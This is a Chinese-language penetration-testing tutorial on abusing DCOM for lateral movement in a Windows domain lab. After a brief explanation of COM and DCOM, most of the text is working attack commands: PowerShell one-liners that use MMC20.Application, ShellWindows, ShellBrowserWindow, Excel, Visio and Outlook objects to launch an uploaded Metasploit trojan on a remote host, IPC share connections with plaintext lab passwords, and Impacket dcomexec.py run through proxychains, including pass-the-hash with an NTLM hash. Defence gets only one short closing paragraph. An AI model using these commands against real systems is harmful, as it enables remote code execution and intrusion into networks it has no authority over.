COM
COM即組件對象模型(Component Object Model,COM) ,是基於 Windows 平台的一套組件對象接口標准,由一組構造規范和組件對象庫組成。COM是許多微軟產品和技術,如Windows媒體播放器和Windows Server的基礎。
一般的對象是由數據成員和作用在其上的方法組成,而組件對象和一般對象雖有相似性,但又有較大不同。組件對象不使用方法而用接口來描述自身。接口被定義為“在對象上實現的一組語義上相關的功能”,其實質是一組函數指針表,每個指針必須初始化指向某個具體的函數體,一個組件對象實現的接口數量沒有限制。
DCOM
DCOM(分布式組件對象模型)是微軟基於組件對象模型(COM)的一系列概念和程序接口,它支持不同的兩台機器上的組件間的通信,不論它們是運行在局域網、廣域網、還是Internet上。利用這個接口,客戶端程序對象能夠向網絡中另一台計算機上的服務器程序對象發送請求。
DCOM是COM(組件對象模型)的擴展,它允許應用程序實例化和訪問遠程計算機上COM對象的屬性和方法。DCOM 使用遠程過程調用(RPC)技術將組件對象模型(COM)的功能擴展到本地計算機之外,因此,在遠程系統上托管COM服務器端的軟件(通常在DLL或exe中)可以通過RPC向客戶端公開其方法。
攻擊者可使用 DCOM 進行橫向移動,通過 DCOM,攻擊者可在擁有適當權限的情況下通過 Office 應用程序以及包含不安全方法的其他 Windows 對象遠程執行命令。
使用DCOM進行橫向移動的優勢之一在於,在遠程主機上執行的進程將會是托管COM服務器端的軟件。例如我們濫用ShellBrowserWindow COM對象,那么就會在遠程主機的現有explorer.exe進程中執行。對攻擊者而言,這無疑能夠增強隱蔽性,由於有大量程序都會向DCOM公開方法,因此防御者可能難以全面監測所有程序的執行。
在本地通過DCOM執行命令
測試環境:Windows 7
1. 獲取本地DCOM程序列表
在powershell中執行如下命令獲取DCOM程序列表:
Get-CimInstance Win32_DCOMApplication
Get-CimInstance 這個cmdle(powershell命令行)默認只在powershell 3.0以上版本中存在,所以只有 Windows server 2012 及以上版本的操作系統才可以使用Get-Ciminstance。
Windows 7、Windows Server 2008中默認安裝的是powershell 2.0,所以他們都不支持Get-CimInstance,可以用以下命令代替Get-CimInstance:
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
2. 本地使用DCOM執行任意命令
我們在獲取DCOM應用程序的時候,遇到了一個MMC Application Class(MMC20.Application):
這個COM對象可以編程MMC管理單元操作的組件腳本。我們在本地啟動一個管理員權限的powershell,執行如下命令通過PowerShell與DCOM進行交互,創建一個“MMC20.Application”對象的實例(我們只需要提供一個DCOM ProgID和一個IP地址,就返回一個COM對象的實例):
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
獲得COM對象的實例后,我們還可以執行如下命令枚舉這個COM對象中的不同方法和屬性:
# 此時可執行如下命令獲得"MMC20.Application"支持的操作 $com.Document.ActiveView | Get-Member
如上圖,可以發現該對象有一個 ExecuteShellCommand 方法,可用來執行命令。然后再通過ExecuteShellCommand執行命令,這里啟動計算器:
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized") // 啟動計算器
如上圖所示,本地命令執行成功。
除了MMC20.Application,還有ShellWindows、ShellBrowserWindow、Excel.Application以及Outlook.Application等等都可以為我們所利用。
我們通過MMC20.Application的ExecuteShellCommand方法在本地運行了一個“計算器”程序。如果我們提供一個遠程主機的IP,便可以使用 [activator]::CreateInstance([type]::GetTypeFromProgID(ProgID,IP))
或 [Activator]::CreateInstance([Type]::GetTypeFromCLSID(CLSID,IP))
命令通過Powershell與遠程DCOM進行交互,只需要提供DCOM ProgID和對方的IP地址,就會向對方提供該DCOM對象的實例,然后就可以利用這個DCOM應用程序和ExecuteShellCommand方法來在對方目標主機上執行命令了。如果攻擊者把“計算器”程序換成惡意的payload,就會對系統安全造成威脅。下面進行演示使用DCOM對遠程主機執行命令。
使用DCOM對遠程主機執行命令
下面通過幾個實驗來演示如何使用DCOM在遠程主機上面執行命令。在使用該方法時,需要具有以下條件:
-
具有管理員權限的PowerShell
-
可能需要關閉目標系統的防火牆。
-
在遠程主機上執行命令時,必須使用域管的administrator賬戶或者目標主機具有管理員權限的賬戶
(1)調用MMC20.Application遠程執行命令
測試環境如下:
如圖中,右側是一個內網環境,域名為god.org,有三台機器:Windows 7(跳板機)、Windows Server 2008(DC)、Windows Server 2003。
Windows Server 2008(192.168.52.138)為域控制器(機器名為OWA),假設攻擊者已經獲得了域成員主機Windows 7的一個管理員權限的meterpreter,需要進一步橫向滲透去拿下內網的其他機器。
域成員服務器(Windows 7):
-
IP地址:192.168.52.143
-
用戶名:Aministrator
-
密碼:Liu78963
域控制器DC(Windows Server 2008):
-
IP地址:192.168.52.138
-
用戶名:Liukaifeng01
-
密碼:Liu78963
1. 先控制跳板機Windows 7通過ipc連接到遠程主機Windows Server 2008
net use \\192.168.52.138\ipc$ "Liu78963" /user:Aministrator
2. 然后在Windows7跳板機上傳一個新的metasploit木馬程序shell.exe,並控制Windows7使用copy命令將shell.exe復制到Windows Server 2008的c盤上面去。
建立ipc連接並上傳木馬后,攻擊機上開啟一個新的msf監聽。
3. 然后控制Windows7對Windows Server 2008執行遠程命令
在Windows7的meterpreter中輸入如下命令,加載powershell模塊並進入powershell交互模式:
load powershell
powershell_shell
在powershell執行如下命令:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.52.138"))
// 通過PowerShell與DCOM進行遠程交互,此外,我們只需要提供一個DCOM ProgID和一個IP地址,然后,它就從遠程返回一個COM對象的實例。
// 然后執行如下命令,我們就可以調用"ExecuteShellCommand"方法在遠程主機上啟動進程
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c C:\shell.exe","Minimized")
如上圖所示,內網中的Windows Server 2008主機成功上線。
(2)調用ShellWindows遠程執行命令
實驗環境:
還是上面那個實驗環境,同樣還是先控制跳板機Windows 7通過ipc連接到內網主機Windows Server 2008,並控制Windows7使用copy命令將shell.exe上傳到Windows Server 2008的c盤上面去。最后進入Windows7的powershell,控制Windows7對Windows Server 2008執行遠程命令,執行位於Windows Server 2008的c盤里的馬:
# 通過PowerShell與DCOM進行遠程交互,創建ShellWindows對象的實例:
$com=[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.52.138"))
# 然后執行如下命令,我們就可以調用該對象的"ShellExecute"方法在遠程主機上啟動進程:
$com.item().Document.Application.ShellExecute("cmd.exe","/c C:\shell.exe","c:\windows\system32",$null,0)
# 完整的命令:
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.52.138")).item().Document.Application.ShellExecute("cmd.exe","/c C:\shell.exe","c:\windows\system32",$null,0)
如上圖所示,內網中的Windows Server 2008主機成功上線。
以上這兩種方法均適用於Windows 7~Windows 10、Windows Server 2008~Windows Server 2016的系統。
並且無論是否事先建立ipc連接都可以成功執行命令,也就不需要對方主機的憑據,只只需要當前主機的管理員權限即可。
除了MMC20.Application和ShellWindows,還有以下這幾種DCOM對象都可以被我們利用。
(3)調用Excel.Application遠程執行命令
使用方法如下:
# 通過PowerShell與DCOM進行遠程交互,創建Excel.Application對象的實例:
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.52.138"))
$com.DisplayAlerts = $false
# 然后執行如下命令,我們就可以調用該對象的"DDEInitiate"方法在遠程主機上啟動進程:
$com.DDEInitiate("cmd.exe","/c C:\shell.exe")
(4)調用ShellBrowserWindow遠程執行命令
使用條件:適用於Windows 10和Windows Server 2012 R2等版本的系統。
使用方法如下:
# 通過PowerShell與DCOM進行遠程交互,創建Excel.Application對象的實例:
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.52.138"))
# 然后執行如下命令,我們就可以調用該對象的"shellExecute"方法在遠程主機上啟動進程:
$com.Document.Application.shellExecute("C:\shell.exe")
# 完整的命令:
[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.52.138")).Document.Application.shellExecute("C:\shell.exe")
(5)調用Visio.Application遠程執行命令
使用條件:目標主機中安裝有Visio。
使用方法如下:
# 通過PowerShell與DCOM進行遠程交互,創建Visio.Application對象的實例:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.52.138"))
# 然后執行如下命令,我們就可以調用該對象的"shellExecute"方法在遠程主機上啟動進程:
$com.[0].Document.Application.shellExecute("calc.exe")
# 完整的命令:
[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.168.52.138")).[0].Document.Application.shellExecute("C:\shell.exe")
(6)調用Outlook.Application遠程執行命令
使用條件:目標主機中安裝有Outlook。
通過Outlook創建Shell.Application對象來實現命令行執行:
# 通過PowerShell與DCOM進行遠程交互,創建Visio.Application對象的實例:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192.168.52.138"))
# 然后執行如下命令,通過Outlook創建Shell.Application對象並執行命令:
$com.createObject("Shell.Application").shellExecute("C:\shell.exe")
# 完整的命令:
[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192.168.52.138")).createObject("Shell.Application").shellExecute("C:\shell.exe")
Impacket里的dcomexec.py腳本
Impacket 里面提供的 dcomexec.py 腳本可以提供一個類似於 wmiexec.py 腳本的半交互式shell,但使用的是DCOM,目前支持MMC20.Application,ShellWindows和ShellBrowserWindow對象。
命令格式如下:
./dcomexec.py domain/username:password@ip
./dcomexec.py domain/username:password@ip <command>
實驗環境:
假設攻擊者已經獲得了域內主機Windows Server 2012的控制權,並獲得了域管理員的用戶名和密碼,下面演示使用dcomexec.py腳本進一步獲取Windows 7的shell。Windows Server 2012除具有內網IP以外還具有公網IP,Windows 7只有沒有公網IP,只有內網IP。
首先我們在Windows Server 2012上上傳代理程序,在Windows Server 2012的1080端口上搭建一個socks代理服務器,然后攻擊者配置一下proxychains:
此時,我們便可以使用proxychains將攻擊者的dcomexec.py代理進入內網了:
proxychains4 python3 ./dcomexec.py god/administrator:Liu78963@192.168.10.20 // 獲取目標主機的shell
proxychains4 python3 ./dcomexec.py god/administrator:Liu78963@192.168.10.20 whoami // 在目標主機上執行命令
如果沒有獲取到明文密碼,我們還可以直接利用哈希值來代替
proxychains4 python3 ./dcomexec.py administrator:@192.168.52.143 whoami -hashes aad3b435b51404eeaad3b435b51404ee:d8f69f9520b448174136e49a1051ef07
防御DCOM橫向移動
首要的方法是啟動域防火牆,因為默認情況下這會阻止DCOM對象的實例化。但盡管我們開啟了防火牆,攻擊者仍然可以通過某些方法遠程篡改或關閉Windows防火牆。所以,我們還需要進一步設置,詳情請看:https://www.anquanke.com/post/id/107097#h2-8。
Ending......
參考:
https://blog.csdn.net/qq_41874930/article/details/109736280
https://3gstudent.github.io/3gstudent.github.io/域滲透-利用DCOM在遠程系統執行程序/